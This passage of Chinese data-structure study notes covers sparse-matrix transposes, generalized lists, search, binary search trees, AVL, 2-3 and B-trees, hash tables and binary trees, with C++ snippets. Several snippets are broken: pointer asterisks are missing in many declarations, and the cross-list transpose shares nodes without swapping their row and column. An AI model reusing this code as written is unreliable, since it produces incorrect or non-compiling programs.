	int k;
	x.r=c;
	x.c=r;
	x.num=num;
	x.item=new RCV[num];
	if(num>0)// 判断是否存在非零元素
	{
	k=0;// 转置矩阵元素计数器
	for(int i=0;i<c;++i)// 遍历原矩阵列号
	{
	for(int j=0;j<num;++j)// 遍历原矩阵非零元素
	{
	if(item[j].col==i)// 如果当前非零元素的列号等于当前列 i
	{
	x.item[k].row=item[j].col;
	x.item[k].col=item[j].row;
	x.item[k].value=item[j].value;
	k++;
	}
	}
	}
	}
	return x;
	}

时间复杂度大

# 快速转置算法（改进）

	// 稀疏矩阵快速转置
	/*
	功能：使用快速转置法计算并返回当前矩阵的转置矩阵，其处理过程为：
	(1) 创建一个稀疏矩阵 x，形成 x 的 r, C, num，并按指定的长度分配存储空间。
	(2) 求当前矩阵中各列非零元的个数，将结果存入数组 rnum。
	(3) 求结果矩阵中各行起始位置，将结果存入数组 rstart。
	(4) 依次扫描当前矩阵中的三元组表，对每一个三元组行列置换后
	按原列号 col 存入 x 中由 rstart [col] 指示的位置，并使其位置加 1。
	(5) 返回结果矩阵 x。
	*/
	SMatrix SMatrix::tran1()
	{
	SMatrix x;
	//int rnum [100],rstart [100]; 修改为下面的 * rnum, *rstart
	x.r=c;
	x.c=r;
	x.num=num;
	x.item=new RCV[num];

	if(num==0)
	{
	return x;
	}
	//rnum 统计「原始稀疏矩阵」中每一列有多少个非零元素（比如原始矩阵第 0 列有 2 个非零元素，rnum [0] 就等于 2）
	//rstart 记录「转置矩阵」中每一行的第一个非零元素，在 x.item 数组（存转置后非零元素）中的起始下标
	//（比如转置矩阵第 0 行第一个元素在 x.item [0]，第 2 行第一个元素在 x.item [2]）
	int *rnum=new int[c];
	int *rstart=new int[c];
	for(int i=0;i<c;++i)
	{
	rnum[i]=0;
	}
	for(int i=0;i<num;++i)// 当前矩阵各列的非零元素的个数存入 rnum
	{
	rnum[item[i].col]++;// 对应列的计数加 1
	}
	rstart[0]=0;// 转置矩阵第 0 行的第一个非零元素，在 x.item 数组中的起始下标是 0（也就是第一个元素就存在 x.item [0]）
	for(int i=1;i<c;++i)
	{
	rstart[i]=rnum[i-1]+rstart[i-1];
	}
	for(int i=0;i<num;++i)
	{
	int j=item[i].col;// 确定当前原始元素，在转置矩阵中对应的行号
	x.item[rstart[j]].row=j;// 转置元素的行号 = 原始元素的列号（j）
	x.item[rstart[j]].col=item[i].row;// 转置元素的列号 = 原始元素的行号
	x.item[rstart[j]].value=item[i].value;
	rstart[j]++;
	}
	delete []rnum;
	delete []rstart;
	return x;
	}

# 十字链表转置（计算量最小）

	struct OLNode// 非零结点结构
	{
	int row;
	int col;
	int value;
	OLNode *right;// 指向同行下一个非零元
	OLNode *down;// 指向同列下一个非零元
	};
	struct CrossMatrix
	{
	int r;
	int c;
	int num;
	//rhead [i]：第 i 行的第一个非零结点 chead [j]：第 j 列的第一个非零结点
	OLNode **rhead;// 行头指针数组
	OLNode **chead;// 列头指针数组
	CrossMatrix();
	CrossMatrix(int row, int col);
	~CrossMatrix();
	};

	CrossMatrix::CrossMatrix()// 构造函数
	{
	r = 0;
	c = 0;
	num = 0;
	rhead = nullptr;
	chead = nullptr;
	}

	CrossMatrix::CrossMatrix(int row, int col)// 构造函数
	{
	r = row;
	c = col;
	num = 0;
	rhead = new OLNode*[r];
	chead = new OLNode*[c];
	for(int i = 0; i < r; ++i)
	{
	rhead[i] = nullptr;
	}
	for(int j = 0; j < c; ++j)
	{
	chead[j] = nullptr;
	}
	}

	CrossMatrix::~CrossMatrix()// 析构函数
	{
	if(rhead == nullptr \|\| chead == nullptr)
	{
	return;
	}
	for(int i = 0; i < r; ++i)
	{
	OLNode *p = rhead[i];
	while(p)
	{
	OLNode *q = p->right;
	delete p;
	p = q;
	}
	}
	delete [] rhead;
	delete [] chead;
	}


	CrossMatrix CrossMatrix::tran()// 转置算法
	{
	CrossMatrix x;
	x.r=c;
	x.c=r;
	x.num=num;
	x.rhead=chead;
	x.chead=rhead;
	return x;
	}

# 链式存储

# 带行指针的链式存储结构

不做介绍

# 带列指针的链式存储结构

不做介绍

# 十字链表

# 三、广义表

长度（Length）：最外层括号里，直接包含的元素个数

只数第一层
不往里拆

深度（Depth）：括号嵌套的最大层数

原子深度 = 0
空表深度 = 1
非空表深度 = 1 + 各元素深度最大值

注意：（a,b) 表的深度是 1，注意区分表的深度和元素的深度

表头（Head）：最外层的第一个元素

可以是原子
也可以是子表

表尾（Tail）：删掉表头后，剩下的 “表”

注意：表尾一定还是一个表（可能是空表）

# 1. 存储方法 1

	class GenList;// 广义表
	class GenListNode// 广义表结点
	{
	friend class GenList;// 友元类，GenList 可以直接访问 GenListNode 的私有成员

	private:
	bool tag;//False 表示原子元素，True 表示表元素
	//union 数据类型：所有成员共享同一块连续的内存空间，同一时间只能有一个成员有效，共用体的大小等于其最大成员的大小
	union
	{
	char data;// 当 tag=false（原子节点）时，该成员有效
	GenListNode *head;// 当 tag=true（表节点）时，该成员有效
	};
	GenListNode *tail;// 存储当前节点的表尾指针
	};
	class GenList
	{
	public:
	// 各种广义表的操作

	private:
	GenListNode *first;
	};

# 2. 存储方法 2

	class GenList;// 广义表
	class GenListNode// 广义表结点类
	{
	friend class GenList;

	private:
	bool tag;//False 表示原子元素，True 表示表元素
	union
	{
	char data;
	struct
	{
	GenListNode *head;
	GenListNode *tail;
	};
	};
	};
	class GenList
	{
	public:
	// 各种广义表的操作

	private:
	GenListNode *first;
	};

# 四、串

# 1. 顺序存储结构

	// 顺序存储结构类型定义
	const int maxlen=100;// 允许的串最大长度；
	struct Tstr
	{
	int curlen;
	char str[maxlen];
	};

# 2. 链式存储结构

	struct LNode
	{
	char data;
	LNode *next;
	};

	struct LStr
	{
	LNode *head;
	int len;
	};

集合与搜索

2026-02-26T15:10:57.000Z

集合操作的实现
1.1 集合的并运算
1.2 集合的交运算
顺序查找
2.1 顺序存储结构
2.2 基于顺序存储结构的顺序查找算法
2.3 基于有序顺序表的顺序查找算法
2.4 索引顺序表
并查集
3.1 并查集类的描述
3.2 查找算法
3.3 合并操作
二叉排序树 (BST)
4.1 二叉排序树结点定义
4.2 二叉排序树类定义
4.3 查找算法
4.4 插入算法
4.5 建立算法
4.6 删除算法
二叉平衡树 (AVL)
5.1 四种失衡情况
5.2 插入和调整实例
2-3 树
6.1 两种内部结点的含义
6.2 插入操作
6.3 删除操作
B 树
7.1 查找
7.2 插入
7.3 删除
哈希表
8.1 哈希函数的构造方法
8.2 处理冲突方法

# 一、集合操作的实现

# 1. 集合的并运算

	// 集合的并运算
	void Union(SeqList<int> &LA,SeqList<int> &LB)
	{
	int n1=LA.Length(),n2=LB.Length();
	int i,k,x;
	for(i=0;i<n2;++i)
	{
	x=LB.getData(i);// 在 LB 中取一元素
	k=LA.Search(x);// 在 LA 中搜索它
	if(k==0)// 若在 LA 中未找到，则插入它
	{
	LA.Insert(n1,x);// 插入到第 n1 个表项位置
	n1++;
	}
	}
	}

# 2. 集合的交运算

	// 集合的交运算
	void Intersection(SeqList<int> &LA,SeqList<int> &LB)
	{
	int n1=LA.Length();
	int x,k,i=0;
	while(i<n1)
	{
	x=LA.getData(i);// 在 LA 上取一元素
	k=LB.Search(x);// 在 LB 上搜索它
	if(k==0)
	{
	LA.Remove(i,x);
	n1--;// 在 LA 中删除它
	}
	else
	{
	i++;
	}
	}
	}

# 二、顺序查找

# 1. 顺序存储结构

	// 顺序存储结构类型定义如下
	typedef int Key; // 定义 Key 类型为 int
	struct Rec
	{
	Key key;
	...;
	};
	Rec S[n+1];// 元素分别存放在 S [1] 至 S [n]

# 2. 基于顺序存储结构的顺序查找算法

# 普通实现算法

	int Search(Rec S[],Key x,int n)// 基于顺序存储结构的顺序查找算法
	{
	int i=1;// 从头开始查看
	while(S[i].key!=x && i<=n)
	{
	i++;// 往后查找
	}
	if(i<=n)
	{
	return i;
	}
	else
	{
	return 0;
	}
	}

# 改进算法 1

改进算法 1 的核心改进是引入 “监视哨”，

通过在数组尾端放置要查找的元素，

消除了循环中的边界判断，从而简化逻辑并提高查找效率。

	// 改进算法 1
	int Search(Rec S[],Key x,int n)// 基于顺序存储结构的顺序查找算法
	{
	// 顺序查找关键码为 x 的数据对象
	// 使用第 n+1 号位置作为控制搜索自动结束的 “监视哨” 使用
	S[n+1].key=x;// 将 x 送 n 号位置设置监视哨
	int i=1;
	while(S[i].key!=x)
	{
	i++;// 从前向后顺序搜索
	}
	if(i==n+1)
	{
	return 0;
	}
	else
	{
	return i;
	}
	}

# 改进算法 2

“改进算法 2” 是在 “改进算法 1” 的基础上进一步优化：

将哨兵移到 S [0]，不再需要额外空间；

从后向前搜索，在某些使用场景更高效；

依旧保持单条件循环，逻辑简洁无越界。

	// 改进算法 2
	int Search(Rec S[],Key x,int n)// 基于顺序存储结构的顺序查找算法
	{
	// 顺序查找关键码为 x 的数据对象
	// 使用第 0 号位置作为控制搜索自动结束的 “监视哨” 使用
	S[0].key=x;// 将 x 送 0 号位置设置监视哨
	int i=n;
	while(S[i].key!=x)
	{
	i--;// 从后向前顺序搜索
	}
	if(i==0)
	{
	return 0;
	}
	else
	{
	return i;
	}
	}

# 3. 基于有序顺序表的顺序查找算法

# 普通实现算法

	int Search(Rec S[],Key x,int n)// 有序顺序表的顺序查找算法
	{
	// 顺序搜索关键码为 x 的数据对象
	for(int i=1;i<=n;++i)
	{
	if(S[i].key==x)
	{
	return i;// 成功
	}
	else
	{
	if(S[i].key>x)
	{
	break;
	}
	}
	}
	return 0;// 顺序搜索失败，返回失败信息
	}

# 二分查找算法 (非递归算法)

	int Search_Bin(Rec S[],Key x,int n)// 有序顺序表的顺序查找算法
	{
	// 二分查找的非递归算法 S [] 为有序表
	int low=1;
	int high=n;
	int mid;
	while(low<=high)
	{
	mid=(low+high)/2;
	if(x==S[mid].key)
	{
	return mid;
	}
	else if(x<S[mid].key)
	{
	high=mid-1;
	}
	else
	{
	low=mid+1;
	}
	}
	return 0;
	}

# 二分查找算法 (递归算法)

	int Search_Bin(Rec S[],Key x,int low,int high)// 有序顺序表的顺序查找算法
	{
	// 在主函数 main 中调用该函数时实参为 Search_Bin (S,x,1,n)
	if(low>high)
	{
	return 0;// 查找不成功
	}
	else
	{
	int mid=(low+high)/2;
	if(x==S[mid].key)
	{
	return mid;
	}
	else if(x<S[mid].key)
	{
	return Search_Bin(S,x,low,mid-1);
	}
	else
	{
	return Search_Bin(S,x,mid+1,high);
	}
	}
	}

# 4. 索引顺序表

	// 索引表的结构
	struct indexItem
	{
	Key maxKey;// 当前块中最大关键字
	int stadr;// 当前块在顺序表中的起始地址（索引号）
	}IndexTable[MaxSize];// 索引表

	struct Rec
	{
	Key key;
	...
	}Table[n];// 顺序表

# 三、并查集

# 1. 并查集类的描述

	// 并查集类的描述
	#define MaxSize 100
	int parent[MaxSize];// 并查集的父结点数组
	int n;// 集合元素个数
	// 初始化操作
	for(int i=0;i<n;i++)
	{
	parent[i]=-1;
	}

# 2. 查找算法

	// 查找算法
	// 实现 find (i) 只需简单地沿着结点 i 的 parent 向上移动，直至到达 parent 值为 - 1 的结点
	int SimpleFind(int i)// 找到含元素 i 的树的根
	{
	while(parent[i]>=0)
	{
	i=parent[i];
	}
	return i;
	}

# 3. 合并操作

	// 合并操作
	// 这里假设采用令第一棵树为第二棵树的子树的策略
	// 用以 i 为根和以 j (i!=j) 为根的两个不相交集合的并取代它们
	void SimpleUnion(int i,int j)
	{
	parent[i]=j;
	}

# 四、二叉排序树 (BST)

(二叉搜索树 / 二叉检索树 / 二叉查找树）

# 1. 二叉排序树结点定义

	// 二叉排序树也是二叉树，因此，通常取二叉链表作为二叉排序树的存储结构
	template<class T>
	struct BTreeNode// 结点结构
	{
	T data;
	BTreeNode lchild,rchild;// 左右孩子结点
	};

# 2. 二叉排序树类定义

	template<class T>
	class BSTree
	{
	BTreeNode<T> *root;
	BTreeNode<T> searchBST(T x,BTreeNode<T> p);// 递归查找函数
	int insert(T x,BTreeNode<T> *&bst);// 递归插入函数
	int remove(T x,BTreeNode<T> *&p);// 删除函数

	public:
	BSTree(BTreeNode<T> *p=0)// 构造函数
	{
	root=p;
	}
	BTreeNode<T> *searchBST(T x);// 查找函数，调用递归查找，供 main 函数调用
	BTreeNode<T> *searchBST1(T x);// 非递归查找函数
	T min();// 获取最小值
	T max();// 获取最大值
	int insert(T x);// 插入函数，其调用递归插入，供 main 函数调用
	int insert1(T x);// 非递归插入函数
	void CreateBST();// 建立二叉排序树
	int remove(T x);// 删除函数
	};

# 3. 查找算法

# 递归算法

	// 递归算法
	//x：要查找的关键字
	//p：当前要搜索的子树的根结点指针
	template<class T>
	BTreeNode<T> BSTree<T>::searchBST(T x,BTreeNode<T> p)
	{
	//p==nullptr（树空），说明没找到；或者 x==p->data，说明当前结点就是要找的。
	if(!p \|\| (x==p->data))
	{
	return p;
	}
	else if(x<p->data)
	{
	return searchBST(x,p->lchild);// 在左子树中继续查找
	}
	else
	{
	return searchBST(x,p->rchild);// 在右子树中继续查找
	}
	}

	//public 的 searchBST 是外部调用接口
	// 递归查找函数对应的公有函数
	template<class T>
	BTreeNode<T> *BSTree<T>::searchBST(T x)// 查找函数，调用递归查找，供 main 函数调用
	{
	return searchBST(x,root);
	}

# 非递归算法

	// 非递归算法
	template<class T>
	BTreeNode<T> *BSTree<T>::searchBST1(T x)
	{
	BTreeNode<T> *TT=root;
	while(TT!=0)// 当前结点不为空，就继续查
	{
	if(x==TT->data)
	{
	return TT;
	}
	else if(x<TT->data)
	{
	TT=TT->lchild;// 在左子树中找
	}
	else
	{
	TT=TT->rchild;// 在右子树中找
	}
	}
	return 0;
	}

# 3. 插入算法

# 递归算法

	// 递归算法
	//*&bst 是指向结点指针的引用
	template<class T>
	int BSTree<T>::insert(T x,BTreeNode<T> *&bst)// 私有函数
	{
	BTreeNode<T> *p;
	if(bst==0)
	{
	p=new BTreeNode<T>;
	p->data=x;
	p->lchild=p->rchild=NULL;
	bst=p;
	return 1;// 插入成功
	}
	if(x<bst->data)
	{
	return insert(x,bst->lchild);// 在左子树中插入
	}
	else if(x>bst->data)
	{
	return insert(x,bst->rchild);// 在右子树中插入
	}
	else
	{
	return -1;// 重复值，插入不成功
	}
	}

	// 调用插入递归函数插入操作公有函数
	template<class T>
	int BSTree<T>::insert(T x)
	{
	int ret;//return
	ret=insert(x,root);
	if(ret==-1)
	{
	cout <<"HAVE FOUND";
	}
	else
	{
	cout <<"insert ok";
	}
	return ret;
	}

# 非递归算法

	// 非递归算法
	//TT：当前遍历的结点指针，从根结点开始往下找
	//f：指向 TT 的父结点，用于在插入时确定新结点应插在左还是右
	//p：新建结点指针，在后面创建新结点时使用
	template<class T>
	int BSTree<T>::insert1(T x)
	{
	BTreeNode<T> TT,f,*p;
	TT=root;
	f=0;
	while(TT!=0)
	{
	if(x==TT->data)// 重复值，插入不成功
	{
	return -1;
	}
	else if(x<TT->data)
	{
	f=TT;
	TT=TT->lchild;// 在左子树中找
	}
	else
	{
	f=TT;
	TT=TT->rchild;// 在右子树中找
	}
	}
	// 当循环结束时，TT == 0，说明找到了插入位置
	p=new BTreeNode<T>;
	p->data=x;// 新结点生成
	p->lchild=p->rchild=0;
	if(f==0)// 树原来是空的，新结点就是根
	{
	root=p;// 根结点
	}
	else if(x>f->data)
	{
	f->rchild=p;// 作为右子树
	}
	else
	{
	f->lchild=p;// 作为左子树
	}
	return 1;// 插入成功
	}

# 4. 建立算法

	// 建立算法
	template<class T>
	void BSTree<T>::CreateBST()
	{
	root=0;
	T x;
	cin >>x;
	while(x!=-1)
	{
	insert(x);
	cin >>x;
	}
	}

# 5. 删除算法

找 “前驱结点”

1. 前驱：p 左子树中最大的结点（即往左走一次，再一直往右走）

2. 用前驱的值替换 p->data

3. 再从左子树里删掉那个前驱结点

	// 递归删除算法
	template<class T>
	int BSTree<T>::remove(T x,BTreeNode<T> *&p)
	{
	if(!p)// 树空或未找到
	{
	return 0;
	}
	if(x<p->data)// 去左子树删
	{
	return remove(x,p->lchild);
	}
	else if(x>p->data)// 去右子树删
	{
	return remove(x,p->rchild);
	}
	else// 找到要删除的结点 p
	{
	BTreeNode<T> *q=p;

	//1. 没有左右子树（叶子结点）
	if(!p->lchild && !p->rchild)
	{
	delete p;
	p=nullptr;
	}

	//2. 只有左子树
	else if(p->lchild && !p->rchild)
	{
	p=p->lchild;
	delete q;
	}

	//3. 只有右子树
	else if(!p->lchild && p->rchild)
	{
	p=p->rchild;
	delete q;
	}

	//4. 有左右子树
	else
	{
	// 找左子树中最大的结点 (前驱)
	BTreeNode<T> *s=p->lchild;
	while(s->rchild)
	{
	s=s->rchild;// 找前驱
	}
	p->data=s->data;// 替换，注意建议复制数据
	// 因为 s 是前驱结点，所以是一个叶子结点，或者只有一个左孩子
	remove(p->data,p->lchild);// 删除前驱
	}
	return 1;
	}
	}

# 五、二叉平衡树 (AVL)

在 AVL 树（一种自平衡二叉查找树）中，
平衡因子（Balance Factor，简称 BF） 是用于衡量结点 “平衡程度” 的一个值。

🌳 定义：

对于任意一个结点 node ：

$BF(node) = \text{左子树的高度} - \text{右子树的高度}$

📘 取值范围：

为了让整棵树保持 “平衡”，AVL 树要求： $BF(node)\in\lbrace -1, 0, +1 \rbrace$

也就是说：

BF = 0：左右子树高度相等，完全平衡
BF = +1：左子树比右子树高 1，稍微左重
BF = -1：右子树比左子树高 1，稍微右重
|BF| > 1：该结点失衡，需要通过旋转（LL、RR、LR、RL）调整平衡

# 1. 四种失衡情况

LL 型：右旋失衡结点

RR 型：左旋失衡结点

LR 型：左旋失衡结点左孩子，右旋失衡结点

RL 型：右旋失衡结点右孩子，左旋失衡结点

# 2. 插入和调整实例

# 六、2-3 树

# 1. 两种内部结点的含义

（1）2 - 结点（Two-Node）

含有 一个关键字（比如 dataL.key ）
有 两个子树（左子树 LeftChild 、右子树 MiddleChild ）

规则：

	LeftChild 的所有 key < dataL.key
	MiddleChild 的所有 key > dataL.key

也就是说，它就像普通二叉搜索树：

	2-结点
	[dataL]
	/ \
	LeftChild MiddleChild

（2）3 - 结点（Three-Node）

含有 两个关键字： dataL.key 和 dataR.key
有 三个子树： LeftChild 、 MiddleChild 、 RightChild

并且：

dataL.key < dataR.key

规则：

	LeftChild 中所有关键字 < dataL.key
	MiddleChild 中所有关键字 > dataL.key 且 < dataR.key
	RightChild 中所有关键字 > dataR.key

结构示意：

	3-结点
	[ dataL \| dataR ]
	/ \| \
	LeftChild MiddleChild RightChild

# 2. 插入操作

手工方法

特点：

2-3 树的插入操作和二叉树既有相似的地方又有不同的地方。

相似之处在于两者都要先通过搜索，找到插入的位点；

不同之处在于这个插入的位点总是位于叶子结点，而非一个任意结点；另外，2-3 树的插入操作是将插入值 value 直接放进待插入的结点，而不是新建一个结点。

但是，2-3 树存在两种类型的结点（2 - 结点和 3 - 结点），因此我们要分为两种情况讨论：

# 2.1 插入到 2 - 结点

将一个值 value 插入到 2 - 结点的情况很简单，只需要将 value 放入正确的位置使之变为 3 - 结点即可。

例如将 4 插入到下面的树中，将会得到：

# 2.2 插入到 3 - 结点

插入到 3 - 结点的情况会比较麻烦，因为结点已经满了，在这种情况下，2-3 树采用的策略是分裂成两个结点。

分裂：

分裂的过程可以概括为：原结点保留三个值（新来的值以及结点中原有的两个值）中的最小值，新分裂出的结点用来存放最大值，而将中间值向上传递到父结点中。

换句话说就是将中间值插入到父结点中，此时，还需要讨论父结点是 2 - 结点还是 3 - 结点，所以分情况讨论：

情况 1：父结点存在，且为 2 - 结点。

这种情况下只需将中间值插入到父结点即可。

下面中的例子中，如果要在向 2-3 树中插入 1，插入后原结点分裂成两个结点，并将 2 传递到父结点，最后父结点变为 3 - 结点。

情况 2：父结点存在，且为 3 - 结点。

这时父结点也需要分裂，因此分裂后父结点再将其中间值向上传递，整个过程递归地进行直到遇到根结点。例如，我们还是在绿色的 3 - 结点中插入 9，插入后原结点分裂成两个结点，并将 8 传递到父结点中，这时发现父结点也为 3 - 结点，所以父结点的父结点也要分裂，分裂后我们把中间值 6 传递到上一层

# 3. 删除操作

当待删除的值在叶子结点上时，可以分为下面两大类：

# 3.1 叶子结点为 3 - 结点

这种情况最简单，直接删除即可，3 - 结点变为 2 - 结点

# 3.2 叶子结点为 2 - 结点

当叶子结点为 2 - 结点时，需要分别查看兄弟结点和父结点的类型，因此，再将它们分为三种情况：

# 3.2.1 兄弟结点为 3 - 结点

兄弟结点为 3 - 结点。这种情况下，我们需要向兄弟结点借一个最近的值，来补充删除后空的叶子结点。

下面的例子中，如果删除的值为 6，我们需要向兄弟结点借一个值 8，但借来后发现不满足大小关系（7 > 8），所以我们需要再交换一下父结点和叶子结点的值。

# 3.2.2 兄弟结点为 2 - 结点，父结点为 3 - 结点

兄弟结点为 2 - 结点，父结点为 3 - 结点。因为兄弟结点为 2 - 结点，所以就不能向兄弟结点借一个值了，我们转而向父结点借，并与兄弟结点结合，最后父结点从 3 - 结点变成了 2 - 结点。

# 3.2.3 父结点和兄弟结点都为 2 - 结点

父结点和兄弟结点都为 2 - 结点。这种情况是最麻烦的，首先我们要让父结点和兄弟结点合并。例如下方，如要删除 1，则 2 和 3 进行合并。

我们发现原来的父结点内值为空，为了填补这个空结点，我们要再对父结点执行一次删除操作。
注意这里我们仅仅只是调整树的结构，而非删除任何值。
接下来我们查看这个结点的兄弟结点和父结点，如果它的兄弟结点是 3 - 结点，我们就向兄弟结点借一个值来填补这个空值，最后调整结点之间的值使之满足大小关系就好了。

如果父结点是 3 - 结点，那么我们就向其父结点中借一个值来补充这个空值。

假如父结点和兄弟结点都不是 3 - 结点，我们就再次合并父结点和兄弟结点，并把空结点传递到上一层，然后再看前面的情况是否满足（在上一层重新检测这三个情况中属于哪一种），这就变成了一个递归的过程，当这个空结点是这棵 2-3 树的根结点时，我们就删除这个结点，并且它的孩子结点为树的根结点，此时树的高度减 1。

时间复杂度分析

# 七、B 树

这里把外部结点作为叶子结点

注意：根结点最少 2 个分支，1 个元素；除根结点外，最少 $[\frac{m}{2}]$ 个分支， $[\frac{m}{2}]-1$ 个元素

# 1. 查找

# 2. 插入

上溢出：中间元素 $[\frac{m}{2}]$ 上移，两边分裂

# 3. 删除

1. 删除 45：45 是非叶子结点，这里利用直接后继替换删除结点

2. 删除 68：删除 68 后，出现下溢出现象，因此要向兄弟结点借一个元素；首先判断兄弟结点是否够借（下面例子中可向左兄弟或右兄弟借一个元素），以向右兄弟借为例，向右兄弟借一个元素，同时为了保证 B 树的有序性质，因此需要同时调整其父结点

3. 删除 86：删除 86 后，出现下溢出现象，并且兄弟结点不满足能借出的条件；因此选择与兄弟结点进行合并（与左兄弟结点或右兄弟结点均可），这里以和右兄弟结点合并为例，此时又要考虑到父结点，因此合并操作为：父结点下移到左，然后进行右并（和左兄弟结点合并的操作也是父结点下移到左，进行右并）

4. 删除 30：用直接后继替换 30 后，41 出现下溢出，且左右兄弟结点均不够借，因此父结点下移到左，然后右并；之后 40 出现下溢出，兄弟结点够借，因此父结点下移，兄弟结点元素 51 上移；最后调整子树分支

5. 删除 57

6. 删除 53：删除 53 后，60 下溢出，且兄弟结点不可借，则与兄弟结点进行合并；之后 76 出现下溢出，且兄弟结点不可借，则与兄弟结点进行合并

# 八、哈希表

# 1. 哈希函数的构造方法

# 1.1 直接定址法

# 1.2 除留余数法

# 1.3 数字分析法

# 1.4 折叠法

# 1.5 平方取中法

# 1.6 随机数法

# 2. 处理冲突方法

# 2.1 开放定址法

# 2.2 链地址法

# 存储结构

	// 哈希表最大容量
	#define MaxSize 100

	// 链表节点结构（用于链地址法存储冲突元素）
	struct LinkNode
	{
	int data; // 存储关键字
	LinkNode *link; // 指向下一个冲突节点的指针
	};

# 插入算法

	// 哈希表插入算法（头插法）
	bool InsertHash(int key)
	{
	// 1. 计算哈希地址
	int y = H(key);

	// 2. 创建新节点
	LinkNode *p = new LinkNode;
	p->data = key;
	p->link = nullptr;

	// 3. 头插法插入到对应哈希桶的链表头部
	p->link = HT[y]; // 新节点指向原链表头
	HT[y] = p; // 更新链表头为新节点

	return true; // 插入成功
	}

# 查找算法

	// 哈希表查找算法
	int SearchHash(int key)
	{
	// 1. 计算哈希地址
	int y = H(key);

	// 2. 遍历对应哈希桶的链表
	LinkNode *p = HT[y];
	while (p != nullptr)
	{
	if (p->data == key)
	{
	return 1; // 查找成功，返回 1
	}
	p = p->link; // 遍历下一个节点
	}

	return -1; // 查找失败，返回 - 1
	}

树形结构

2026-02-13T12:49:40.000Z

树
1.1 树的抽象数据类型
二叉树
2.1 一般树转化为二叉树
2.2 二叉树还原为一般树
2.3 森林转换为二叉树
2.4 二叉树还原为森林
2.5 二叉树的性质
2.6 二叉树顺序存储结构
2.7 二叉树链式存储结构
2.8 二叉树的抽象数据类型
2.9 二叉树结点类定义
2.10 二叉树类定义
2.11 前序遍历
2.12 中序遍历
2.13 后序遍历
2.14 层次遍历
2.15 销毁二叉树
2.16 复制二叉树
2.17 计算二叉树高度
2.18 计算二叉树结点总数
2.19 查找值为 x 的结点
2.20 查找结点 t 的父结点
2.21 从输入流创建二叉树
2.22 左右子树交换
2.23 计算二叉树叶子结点
2.24 二叉树的生成
2.25 顺序 --> 链式结构
2.26 广义表 --> 二叉树
2.27 二叉树 --> 广义表
2.28 求二叉树深度
2.29 根据前中序确定建立算法
线索二叉树
树和森林
4.1 树的遍历
4.2 森林的遍历
堆
5.1 最小堆的类定义
5.2 构造函数 (创建空堆)
5.3 构造函数 (数组直接建堆)
5.4 向下调整算法
5.5 向上调整算法
5.6 插入算法
5.7 删除算法
5.8 哈夫曼树

# 一、树

# 1. 树的抽象数据类型

	template<class T>
	class Tree
	{
	// 在类界面中的 position 是树中结点的地址
	// 在顺序存储方式下是下标型
	// 在链表存储方式下是指针型
	public:
	Tree(); // 构造函数
	~Tree(); // 析构函数
	BuildRoot(const T &value); // 建立树的根结点
	position FirstChild(position p); // 返回 p 的第一个子女结点
	position NextSibling(position p); // 返回 p 下一兄弟地址；若无下一兄弟返回 0
	position Parent(position p); // 返回 p 双亲结点地址；若 p 为根，返回 0
	T getData(position p); // 返回结点 p 中存放的值
	bool InsertChild(position p,T &value); // 在结点 p 下插入值为 value 的新子女，若插入失败，返回 false
	bool DeleteChild(position p,int i); // 删除结点 p 的第 i 个子女及其全部子孙结点，若删除失败，返回 false
	void DeleteSubTree(position t); // 删除以 t 为根结点的子树
	bool IsEmpty(); // 判树空否，若空则返回 true，否则返回 false
	void Traversal(void (*visit)(position p)); // 遍历以 p 为根的子树
	};

# 二、二叉树

# 1. 一般树转化为二叉树

# 2. 二叉树还原为一般树

# 3. 森林转换为二叉树

# 4. 二叉树还原为森林

# 5. 二叉树的性质

# 6. 二叉树顺序存储结构

# 7. 二叉树链式存储结构

	// 结点结构
	template<class T>
	struct BinTreeNode
	{
	T data;
	BinTreeNode leftchild,rightchild;
	};

# 8. 二叉树的抽象数据类型

	template<class T>
	class BinaryTree
	{
	public:
	BinaryTree(); // 构造函数
	BinaryTree(BinTreeNode<T> lch,BinTreeNode<T> rch,T item);// 构造函数，以 item 为根，lch 和 rch 为左、右子树，构造一棵二叉树
	int Height(); // 求树深度或高度
	int Size(); // 求树中结点个数
	bool IsEmpty(); // 判树空否，若空则返回 true，否则返回 false
	BinTreeNode<T> Parent(BinTreeNode<T> t); // 求结点 t 的双亲
	BinTreeNode<T> LeftChild(BinTreeNode<T> t); // 求结点 t 的左子女
	BinTreeNode<T> RightChild(BinTreeNode<T> t); // 求结点 t 的右子女
	bool Insert(T item); // 在树中插入新元素
	bool Remove(T item); // 在树中删除元素
	bool Find(T &item); // 判断 item 是否在树中
	bool getData(T &item); // 取结点数据
	BinTreeNode<T> *getRoot(); // 取根
	void Travel(void (visit)(BinTreeNode<T> t)); // 遍历，visit 是访问函数
	};

# 9. 二叉树结点类定义

	template<class T>
	struct BinTreeNode // 二叉树结点类定义
	{
	T data; // 数据域
	BinTreeNode<T> leftChild,rightChild; // 左子女、右子女链域
	BinTreeNode() // 构造函数
	{
	leftChild=0;
	rightChild=0;
	}
	BinTreeNode(T x,BinTreeNode<T> l=0,BinTreeNode<T> r=0) // 构造函数
	{
	data=x;
	leftChild=l;
	rightChild=r;
	}
	};

# 10. 二叉树类定义

	template<class T>
	class BinaryTree // 二叉树类定义
	{
	protected:
	BinTreeNode<T> *root; // 二叉树的根指针
	T RefValue; // 数据输入停止标志
	void CreateBinTree(istream &in,BinTreeNode<T> *&subTree); // 从文件读入建树
	bool Insert(BinTreeNode<T> *&subTree,T &x); // 插入
	void destroy(BinTreeNode<T> *subTree,T &x); // 销毁
	BinTreeNode<T> Copy(BinTreeNode<T> r); // 复制
	int Height(BinTreeNode<T> *subTree); // 返回树高度
	int Size(BinTreeNode<T> *subTree); // 返回结点数
	BinTreeNode<T> Parent(BinTreeNode<T> subTree,BinTreeNode<T> *t); // 返回父结点
	BinTreeNode<T> Find(BinTreeNode<T> subTree,T &x) const; // 搜寻 x
	friend istream &operator>>(istream &in,BinaryTree<T> &Tree); // 重载操作：输入
	friend ostream &operator<<(ostream &out,BinaryTree<T> &Tree); // 重载操作：输出

	public:
	BinaryTree() : root(0){} // 构造函数
	BinaryTree(T value) : RefValue(value),root(0){}// 构造函数
	BinaryTree(BinaryTree<T> &s);// 复制构造函数
	~BinaryTree() // 析构函数
	{
	destroy(root);
	}
	bool IsEmpty() // 判树空否
	{
	return (root==0);
	}
	int Height() // 求树深度或高度
	{
	return Height(root);
	}
	int Size() // 求树中结点个数
	{
	return Size(root);
	}
	BinTreeNode<T> Parent(BinTreeNode<T> t) // 求结点 t 的双亲
	{
	return (root==0 \|\| root ==t) ? 0 : Parent(root,t);// 返回双亲结点
	}
	BinTreeNode<T> LeftChild(BinTreeNode<T> t) // 求结点 t 的左子女
